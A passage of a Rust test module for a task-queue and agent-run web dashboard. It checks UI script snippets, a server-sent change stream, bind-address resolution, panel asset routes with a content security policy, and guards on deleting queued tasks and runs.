13029 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13030 )
13031 );
13032
13033 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13035 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13036 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13037 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13038
13039 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13043 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13044 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13045 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13046
13047 assert!(APP_JS.contains("sandbox: \"\""));
13049 assert!(!APP_JS.contains("sandbox: \"allow"));
13050 }
13051
13052 #[test]
13053 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13054 assert!(
13063 APP_JS.contains(
13064 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13065 ),
13066 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13067 recursive renderQueue() call has nothing left to jump to"
13068 );
13069 assert!(
13070 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13071 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13072 arrives later still gets it"
13073 );
13074 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13075 assert!(APP_JS.contains("is not in the current Backlog."));
13076 assert!(APP_JS.contains("li.card[data-task-id=\""));
13077 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13078 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13079 assert!(APP_CSS.contains(".card-permalink"));
13080 assert!(APP_CSS.contains(".queue-focus-status"));
13081 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13082 }
13083
13084 #[test]
13085 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13086 assert!(
13094 APP_JS.contains(
13095 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13096 ),
13097 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13098 );
13099 }
13100
13101 #[test]
13102 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13103 assert!(
13104 APP_JS.contains("round.verified_head !== round.head"),
13105 "a round that verified an earlier commit must be visibly distinct from one that \
13106 verified the head reviewers are looking at now"
13107 );
13108 assert!(
13109 APP_JS.contains("round.verified_at"),
13110 "when a check ran must be on the wire, not just which commit"
13111 );
13112 assert!(
13113 APP_JS.contains("resource_blocked"),
13114 "a command magi never got to run (shared build cache contention) must not render \
13115 the same as a command that ran and failed"
13116 );
13117 }
13118
13119 #[test]
13120 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13121 assert!(
13129 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13130 "every KPI tile built through statusTile() must route its click through \
13131 openRunsFiltered, the single place that sets the Runs filter"
13132 );
13133 for (label, status) in [
13134 ("Merged", "merged"),
13135 ("Ready", "ready"),
13136 ("Blocked", "blocked"),
13137 ("Stalled", "stalled"),
13138 ] {
13139 let call = format!("statusTile(\"{label}\", t.{status}, ");
13140 assert!(
13141 APP_JS.contains(&call),
13142 "expected the {label} KPI tile built via {call}..."
13143 );
13144 assert!(
13145 APP_JS.contains(&format!("status === \"{status}\"")),
13146 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13147 compare a run against, not one invented only for the stats tile"
13148 );
13149 }
13150 assert!(
13151 APP_JS.contains("function openRunsFiltered(status)"),
13152 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13153 );
13154 assert!(
13155 APP_JS.contains(
13156 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13157 ),
13158 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13159 );
13160 assert!(
13168 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13169 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13170 hashchange event that may never fire"
13171 );
13172 }
13173
13174 #[test]
13175 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13176 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13182 assert!(
13183 APP_JS.contains(
13184 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13185 ),
13186 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13187 guard for an incompatible tree section"
13188 );
13189 }
13190
13191 #[test]
13192 fn every_stats_queue_tile_names_a_real_queue_section() {
13193 assert!(
13199 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13200 "every queue tile built through sectionTile() must route its click through \
13201 openQueueSectionFocus"
13202 );
13203 for key in ["upnext", "running", "done", "held", "blocked"] {
13204 assert!(
13205 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13206 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13207 );
13208 }
13209 for line in [
13213 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13214 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13215 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13216 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13217 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13218 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13219 ] {
13220 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13221 }
13222 }
13223
13224 #[test]
13225 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13226 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13233 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13234 assert!(APP_JS.contains("function revealQueueSection(details)"));
13235 assert!(
13236 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13237 "renderQueue() must consume both focus channels on every pass"
13238 );
13239 assert!(
13240 APP_JS.contains(
13241 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13242 ),
13243 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13244 the recursive renderQueue() call has nothing left to reveal"
13245 );
13246 assert!(
13247 APP_JS.contains(
13248 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13249 ),
13250 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13251 );
13252 assert!(
13260 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13261 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13262 hashchange event that may never fire"
13263 );
13264 }
13265
13266 #[tokio::test]
13267 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13268 let f = Fixture::start().await;
13269
13270 let mut socket = tokio::net::TcpStream::connect(f.addr)
13271 .await
13272 .expect("connect");
13273 socket
13274 .write_all(
13275 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13276 )
13277 .await
13278 .expect("write request");
13279
13280 let mut seen = String::new();
13283 let mut buf = [0u8; 1024];
13284 while !seen.contains("event: change") {
13285 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13286 .await
13287 .expect("the stream must speak within five seconds")
13288 .expect("read");
13289 assert!(read > 0, "the server closed the change stream: {seen}");
13290 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13291 }
13292
13293 assert!(
13294 seen.to_lowercase()
13295 .contains("content-type: text/event-stream"),
13296 "the browser only reconnects automatically for a real SSE stream: {seen}"
13297 );
13298 let data = seen
13299 .lines()
13300 .find_map(|l| l.strip_prefix("data:"))
13301 .expect("a data line");
13302 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13303 assert!(
13304 payload["queue_rev"].is_u64()
13305 && payload["runs_rev"].is_u64()
13306 && payload["questions_rev"].is_u64()
13307 && payload["talks_rev"].is_u64()
13308 && payload["notifications_rev"].is_u64()
13309 && payload["loop_rev"].is_u64(),
13310 "the client needs one revision per store to know what to refetch, \
13311 and `talks_rev` is the only notification a standing talk gets - a \
13312 phone whose radio slept through a turn learns about it here, as \
13313 does one whose operator started the loop from another device: \
13314 {payload}"
13315 );
13316
13317 let health = f.get("/api/health").await.json();
13324 for key in [
13325 "queue_rev",
13326 "runs_rev",
13327 "questions_rev",
13328 "talks_rev",
13329 "notifications_rev",
13330 "loop_rev",
13331 ] {
13332 assert!(
13333 health[key].is_u64(),
13334 "health is the change stream's fallback and is missing `{key}`: {health}"
13335 );
13336 }
13337 }
13338
13339 #[tokio::test]
13340 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13341 let f = Fixture::start().await;
13342 let before = f.get("/api/health").await.json()["talks_rev"]
13343 .as_u64()
13344 .expect("talks_rev");
13345
13346 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13347 std::thread::sleep(Duration::from_millis(10));
13348 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13349 on_disk.turns.push(crate::talk::Turn {
13350 breaks: Some(Vec::new()),
13351 who: crate::talk::Who::Operator,
13352 body: "a new turn".to_owned(),
13353 at: Timestamp::now(),
13354 attachments: Vec::new(),
13355 usage: None,
13356 });
13357 f.talks().put(&mut on_disk).expect("record a turn");
13358
13359 let after = f.get("/api/health").await.json()["talks_rev"]
13360 .as_u64()
13361 .expect("talks_rev");
13362 assert_ne!(
13363 before, after,
13364 "a phone must be able to notice a talk's reply without polling every store"
13365 );
13366 }
13367
13368 #[test]
13369 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13370 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13374 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13375 }
13376 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13377 assert!("everywhere".parse::<Bind>().is_err());
13378 }
13379
13380 #[test]
13381 fn an_explicit_bind_address_is_taken_verbatim() {
13382 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13383
13384 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13385
13386 assert_eq!(addr, asked);
13387 assert!(
13388 warning.is_none(),
13389 "an operator who named an address gets no lecture"
13390 );
13391 }
13392
13393 #[test]
13394 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13395 let (addr, warning) = resolve_bind(&Bind::Auto);
13396
13397 match addr {
13404 IpAddr::V4(ip) if is_tailnet(&ip) => {
13405 assert!(warning.is_none(), "a tailnet address needs no warning");
13406 }
13407 other => {
13408 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13409 let warning = warning.expect("a fallback has to explain itself");
13410 assert!(
13411 warning.contains("127.0.0.1") && warning.contains("local-only"),
13412 "the warning says what happened and what it costs: {warning}"
13413 );
13414 }
13415 }
13416 }
13417
13418 #[test]
13419 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13420 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13424 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13425 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13426 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13427 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13428 }
13429
13430 #[test]
13431 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13432 let ids = vec![
13433 "20260902-140501-aaaa".to_owned(),
13434 "20260902-140502-aabb".to_owned(),
13435 ];
13436
13437 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13438 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13439 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13440
13441 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13442 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13443 assert_eq!(short, "20260902-140502-aabb");
13444 }
13445 #[tokio::test]
13446 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13447 let fx = Fixture::start().await;
13453 let id = panel(
13454 &fx,
13455 "<img src=\"shot.png\">",
13456 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13457 );
13458
13459 let doc = fx
13461 .get(&format!("/api/questions/{id}/panel/index.html"))
13462 .await;
13463 assert_eq!(doc.status, 200, "{}", doc.body);
13464 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13465
13466 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13467 assert_eq!(sibling.status, 200, "{}", sibling.body);
13468 assert_eq!(sibling.header("content-type"), Some("image/png"));
13469 assert_eq!(
13470 sibling.header("content-security-policy"),
13471 Some(PANEL_CSP),
13472 "the sibling route must carry the same policy as the asset route"
13473 );
13474
13475 assert_eq!(
13478 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13479 200
13480 );
13481 }
13482
13483 #[test]
13484 fn delta_stamps_cover_add_update_remove_and_noop() {
13485 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13486 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13487 let delta = diff_stamps(&before, &after, 42);
13488 assert_eq!(delta.base, 42);
13489 assert_eq!(delta.changed, ["b", "c"]);
13490 assert_eq!(delta.removed, ["a"]);
13491 let same = diff_stamps(&after, &after, 43);
13492 assert!(same.changed.is_empty() && same.removed.is_empty());
13493 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13494 let nanos: Stamps = [("b".into(), (2, 20))].into();
13495 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13496 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13497 assert_eq!(stamps_revision(&Stamps::new()), 0);
13498 }
13499
13500 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13501 std::fs::create_dir_all(home.join("runs")).unwrap();
13502 Arc::new(Ui::new(
13503 Queue::at(home.join("queue")),
13504 Questions::at(home.join("questions")),
13505 Talks::at(home.join("talks")),
13506 home.join("runs"),
13507 home.to_owned(),
13508 PathBuf::from("/repo/magi"),
13509 ))
13510 }
13511
13512 #[tokio::test]
13513 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13514 let home = TempDir::new().unwrap();
13515 let ui = delta_test_ui(home.path());
13516 let mut task = Task::new(
13517 "stream task".into(),
13518 "text".into(),
13519 PathBuf::from("/repo"),
13520 Source::Human,
13521 );
13522 ui.queue.put(&mut task).unwrap();
13523 let response = events(State(ui.clone())).await.into_response();
13524 let mut stream = response.into_body().into_data_stream();
13525 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13526 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13527 .await
13528 .unwrap()
13529 .unwrap()
13530 .unwrap();
13531 let text = String::from_utf8(chunk.to_vec()).unwrap();
13532 let data = text
13533 .lines()
13534 .find_map(|line| {
13535 line.strip_prefix("data: ")
13536 .or_else(|| line.strip_prefix("data:"))
13537 })
13538 .unwrap();
13539 serde_json::from_str(data).unwrap()
13540 }
13541 let initial = change(&mut stream).await;
13542 assert!(initial.get("queue_delta").is_none());
13543 task.instruction.push_str(" changed");
13544 ui.queue.put(&mut task).unwrap();
13545 let updated = change(&mut stream).await;
13546 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13547 assert_eq!(
13548 updated["queue_delta"]["changed"],
13549 serde_json::json!([task.id])
13550 );
13551 assert_eq!(
13552 updated["queue_rev"].as_u64(),
13553 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13554 );
13555 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13556 let removed = change(&mut stream).await;
13557 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13558 assert_eq!(
13559 removed["queue_delta"]["removed"],
13560 serde_json::json!([task.id])
13561 );
13562 }
13563
13564 #[tokio::test]
13565 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13566 let home = TempDir::new().unwrap();
13567 let ui = delta_test_ui(home.path());
13568 let queue = ui.queue.clone();
13569 let query = |ids: Option<&str>| {
13570 Query(ListQuery {
13571 limit: Some(2),
13572 ids: ids.map(str::to_owned),
13573 })
13574 };
13575 let mut root = Task::new(
13576 "root".into(),
13577 "instruction".into(),
13578 PathBuf::from("/repo"),
13579 Source::Human,
13580 );
13581 queue.put(&mut root).unwrap();
13582 let mut blocked = Task::new(
13583 "blocked".into(),
13584 "instruction".into(),
13585 PathBuf::from("/repo"),
13586 Source::Human,
13587 );
13588 blocked.block(vec![root.id.clone()], None);
13589 queue.put(&mut blocked).unwrap();
13590 let whole =
13591 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13592 .unwrap();
13593 let subset = serde_json::to_value(
13594 queue_list(State(ui.clone()), query(Some(&root.id)))
13595 .await
13596 .unwrap()
13597 .0,
13598 )
13599 .unwrap();
13600 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13601 let blockers = serde_json::to_value(
13602 queue_list(State(ui.clone()), query(Some("")))
13603 .await
13604 .unwrap()
13605 .0,
13606 )
13607 .unwrap();
13608 assert_eq!(blockers.as_array().unwrap().len(), 1);
13609 assert_eq!(blockers[0]["id"], blocked.id);
13610 assert_eq!(
13611 blockers[0]["waits_on"],
13612 whole
13613 .as_array()
13614 .unwrap()
13615 .iter()
13616 .find(|row| row["id"] == blocked.id)
13617 .unwrap()["waits_on"]
13618 );
13619
13620 for id in [
13621 "20260902-140501-aaaa",
13622 "20260902-140502-bbbb",
13623 "20260902-140503-cccc",
13624 ] {
13625 write_run(&ui.runs, id, RunStatus::Merged);
13626 }
13627 let old = serde_json::to_value(
13628 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13629 .await
13630 .unwrap()
13631 .0,
13632 )
13633 .unwrap();
13634 assert!(
13635 old.as_array().unwrap().is_empty(),
13636 "older updates must not enter the window"
13637 );
13638 let newest = serde_json::to_value(
13639 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13640 .await
13641 .unwrap()
13642 .0,
13643 )
13644 .unwrap();
13645 assert_eq!(newest.as_array().unwrap().len(), 1);
13646 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13647
13648 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13649 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13650 let talks = serde_json::to_value(
13651 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13652 .await
13653 .unwrap()
13654 .0,
13655 )
13656 .unwrap();
13657 assert_eq!(talks.as_array().unwrap().len(), 1);
13658 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13659 assert_eq!(
13660 serde_json::to_value(
13661 talks_list(State(ui.clone()), query(Some("")))
13662 .await
13663 .unwrap()
13664 .0
13665 )
13666 .unwrap(),
13667 serde_json::json!([])
13668 );
13669 }
13670
13671 #[tokio::test]
13672 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13673 async fn delta_payload_benchmark() {
13674 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13675 let ui = delta_test_ui(&home);
13676 let query = |ids: Option<String>| {
13677 Query(ListQuery {
13678 limit: Some(50),
13679 ids,
13680 })
13681 };
13682 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13683 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13684 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13685 let queue_id = queue
13686 .iter()
13687 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13688 .unwrap_or(&queue[0])
13689 .task
13690 .id
13691 .clone();
13692 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13693 .await
13694 .unwrap()
13695 .0;
13696 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13697 .await
13698 .unwrap()
13699 .0;
13700 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13701 .await
13702 .unwrap()
13703 .0;
13704 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13705 eprintln!(
13706 "DELTA_PAYLOAD {}",
13707 serde_json::json!({
13708 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13709 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13710 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13711 "counts": [queue.len(), runs.len(), talks.len()],
13712 "blocked": queue_delta.len() - 1,
13713 })
13714 );
13715 }
13716
13717 #[test]
13718 fn runs_revision_moves_when_deleting_an_older_run() {
13719 let temp = TempDir::new().expect("tempdir");
13720 let runs = temp.path().join("runs");
13721 std::fs::create_dir_all(&runs).expect("create runs dir");
13722
13723 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13724
13725 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13726 std::thread::sleep(Duration::from_millis(10));
13727 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13728
13729 let rev_before = runs_revision(&runs);
13730 assert!(rev_before > 0);
13731
13732 let old_dir = runs.join("20260901-100000-old1");
13733 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13734
13735 let rev_after = runs_revision(&runs);
13736 assert_ne!(
13737 rev_before, rev_after,
13738 "deleting an older run must change the revision so other clients see the deletion"
13739 );
13740 }
13741
13742 fn write_state(runs: &FsPath, state: &RunState) {
13747 let dir = runs.join(&state.id);
13748 std::fs::create_dir_all(&dir).expect("run dir");
13749 std::fs::write(
13750 dir.join("run.json"),
13751 serde_json::to_string_pretty(state).expect("serialize run"),
13752 )
13753 .expect("write run.json");
13754 }
13755
13756 #[test]
13761 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13762 let temp = TempDir::new().expect("tempdir");
13763 let runs = temp.path().join("runs");
13764 std::fs::create_dir_all(&runs).expect("create runs dir");
13765 let mut state = RunState::new(
13766 PathBuf::from("/repo/magi"),
13767 "main".to_owned(),
13768 "0123456789abcdef".to_owned(),
13769 "task".to_owned(),
13770 Config::default(),
13771 );
13772 state.id = "20260902-100000-c0de".to_owned();
13773 write_state(&runs, &state);
13774
13775 let rev_idle = runs_revision(&runs);
13776 std::thread::sleep(Duration::from_millis(10));
13777 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13778 write_state(&runs, &state);
13779 let rev_started = runs_revision(&runs);
13780 assert_ne!(
13781 rev_idle, rev_started,
13782 "a seat starting must move the revision"
13783 );
13784
13785 std::thread::sleep(Duration::from_millis(10));
13786 state.seat_finished("judge-1");
13787 write_state(&runs, &state);
13788 let rev_finished = runs_revision(&runs);
13789 assert_ne!(
13790 rev_started, rev_finished,
13791 "and clearing it again must move the revision a second time"
13792 );
13793 }
13794
13795 #[tokio::test]
13796 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13797 let fx = Fixture::start().await;
13802 let q = fx.queue();
13803
13804 let mut t = Task::new(
13805 "Task".to_owned(),
13806 "Instruction".to_owned(),
13807 PathBuf::from("/repo"),
13808 Source::Human,
13809 );
13810 t.block(
13811 vec!["20260101-000000-dead".to_owned()],
13812 Some("waiting on Task 1".to_owned()),
13813 );
13814 t.answers.push(crate::queue::AnsweredQuestion {
13815 question: "Which backend?".to_owned(),
13816 answer: "SQLite".to_owned(),
13817 });
13818 q.put(&mut t).expect("put t");
13819
13820 let res = fx.get("/api/queue").await;
13821 assert_eq!(res.status, 200);
13822 let list = res.json();
13823 let view = list
13824 .as_array()
13825 .expect("array")
13826 .iter()
13827 .find(|v| v["id"] == t.id)
13828 .expect("task in list");
13829 assert_eq!(view["status_str"], "blocked");
13830 assert_eq!(
13831 view["blocked_by"],
13832 serde_json::json!(["20260101-000000-dead"])
13833 );
13834 assert_eq!(view["block_reason"], "waiting on Task 1");
13835 assert_eq!(view["answers"][0]["question"], "Which backend?");
13836 assert_eq!(view["answers"][0]["answer"], "SQLite");
13837
13838 let res = fx
13842 .post(&format!("/api/queue/{}/hold", t.short()), None)
13843 .await;
13844 assert_eq!(res.status, 200);
13845 let held = res.json();
13846 assert_eq!(held["status_str"], "held");
13847 assert_eq!(held["blocked_by"], serde_json::json!([]));
13848 assert!(held["block_reason"].is_null());
13849 assert_eq!(held["answers"][0]["answer"], "SQLite");
13850 }
13851
13852 #[tokio::test]
13853 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13854 let fx = Fixture::start().await;
13855 let q = fx.queue();
13856 let mk = |title: &str| {
13857 Task::new(
13858 title.to_owned(),
13859 "Instruction".to_owned(),
13860 PathBuf::from("/repo"),
13861 Source::Human,
13862 )
13863 };
13864 let mut root = mk("root");
13865 root.hold_manual(Some("waiting".to_owned()));
13866 q.put(&mut root).unwrap();
13867 let mut mid = mk("mid");
13868 mid.block(vec![root.id.clone()], None);
13869 q.put(&mut mid).unwrap();
13870 let mut leaf = mk("leaf");
13871 leaf.block(vec![mid.id.clone()], None);
13872 q.put(&mut leaf).unwrap();
13873
13874 let list = fx.get("/api/queue").await.json();
13875 let find = |id: &str| {
13876 list.as_array()
13877 .unwrap()
13878 .iter()
13879 .find(|v| v["id"] == id)
13880 .unwrap()
13881 .clone()
13882 };
13883 let leaf_view = find(&leaf.id);
13884 assert_eq!(
13885 leaf_view["waits_on"],
13886 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13887 );
13888 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13889 assert_eq!(
13890 find(&mid.id)["waits_on"],
13891 serde_json::json!([format!("{} (held)", root.short())])
13892 );
13893 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13894 }
13895
13896 #[tokio::test]
13897 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13898 let fx = Fixture::start().await;
13899 let q = fx.queue();
13900
13901 let mut t1 = Task::new(
13903 "Task 1".to_owned(),
13904 "Instruction 1".to_owned(),
13905 PathBuf::from("/repo"),
13906 Source::Human,
13907 );
13908 let run_id = "20260901-000000-r111";
13909 t1.runs.push(run_id.to_owned());
13910 write_run(&fx.runs(), run_id, RunStatus::Merged);
13911 q.put(&mut t1).expect("put t1");
13912
13913 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13915 assert_eq!(res.status, 204);
13916 assert!(res.body.is_empty(), "204 No Content has no body");
13917 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13918 assert!(
13919 fx.runs().join(run_id).exists(),
13920 "run directory must not be deleted when its task is deleted"
13921 );
13922
13923 let mut t2 = Task::new(
13925 "Task 2".to_owned(),
13926 "Instruction 2".to_owned(),
13927 PathBuf::from("/repo"),
13928 Source::Human,
13929 );
13930 t2.status = TaskStatus::Running;
13931 q.put(&mut t2).expect("put t2");
13932 let mut beat = crate::daemon::Status::new();
13933 beat.current = vec![crate::daemon::Current {
13934 task: t2.id.clone(),
13935 run: "20260901-000000-r222".to_owned(),
13936 }];
13937 beat.updated_at = jiff::Timestamp::now();
13938 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13939 .expect("publish a heartbeat");
13940 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13941 assert_eq!(res.status, 409);
13942 assert!(
13943 res.json()["error"]
13944 .as_str()
13945 .unwrap()
13946 .contains("live daemon")
13947 );
13948 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13949
13950 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13956 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13957 .expect("leave a stale heartbeat");
13958 let mut t3 = Task::new(
13959 "Task 3".to_owned(),
13960 "Instruction 3".to_owned(),
13961 PathBuf::from("/repo"),
13962 Source::Human,
13963 );
13964 t3.status = TaskStatus::Running;
13965 q.put(&mut t3).expect("put t3");
13966 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13967 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13968 assert_eq!(res.status, 204);
13969 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13970 assert!(
13971 q.claim(&t3.id).is_ok(),
13972 "the stale lock went with it, so the id is claimable again"
13973 );
13974
13975 let res = fx.delete("/api/queue/nonexistent").await;
13977 assert_eq!(res.status, 404);
13978 }
13979
13980 #[tokio::test]
13981 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13982 let fx = Fixture::start().await;
13983 let runs = fx.runs();
13984
13985 let run_id = "20260901-000000-fold";
13987 let mut state = RunState::new(
13988 PathBuf::from("/repo"),
13989 "main".to_owned(),
13990 "abc".to_owned(),
13991 "instruction".to_owned(),
13992 Config::default(),
13993 );
13994 state.id = run_id.to_owned();
13995 state.status = RunStatus::Merged;
13996 state.candidates.push(crate::run::Candidate {
13997 index: 0,
13998 label: 'A',
13999 agent: "a".to_owned(),
14000 branch: "b".to_owned(),
14001 worktree: PathBuf::from("/w"),
14002 summary: String::new(),
14003 stat: String::new(),
14004 files: 1,
14005 commits: 1,
14006 empty: false,
14007 failed: None,
14008 verified_noop: None,
14009 duration_ms: 0,
